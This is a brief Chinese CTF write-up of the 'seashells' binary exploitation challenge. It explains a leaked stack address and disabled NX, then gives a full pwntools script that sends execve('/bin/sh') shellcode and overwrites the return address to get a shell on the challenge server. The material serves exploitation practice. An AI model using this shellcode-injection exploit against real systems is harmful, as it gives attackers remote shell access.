seashells
描述:这道题是BSides BOS CTF上中Binary Exploitation中的一道题,题目相对来说比较简单。
解题步骤:
第一步:在终端下运行该程序,程序结果如下:

程序运行结果.png
在上面的运行结果中可以看到,该程序输出了一个16进制的数,目前还不知道它代表了什么意思。
第二步:检查程序的保护机制

程序保护机制
从结果来看,程序保护机制基本关闭。
第三步:对程序进行反汇编

反汇编.png
通过分析可以得到,之前输入的16进制数是栈顶的地址,然后read函数会从标准输入流读入数据写入从栈顶指针开始的地方,然后程序的防护进制NX没有打开,因此我们可以在栈中写入shell的汇编指令,然后让存放返回地址的覆盖为栈顶指针。
第四步:编写exp
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
#io = process('./seashells')
io = remote('challenge.ctf.games', 30398)
stack_addr_str = io.recvline()[:-1]
stack_addr = int(stack_addr_str, 16)
io.recv()
shellcode = asm(shellcraft.amd64.execve('/bin/sh','0','0'))
payload = shellcode.ljust(0x88, 'a') + p64(stack_addr)
io.sendline(payload)
io.interactive()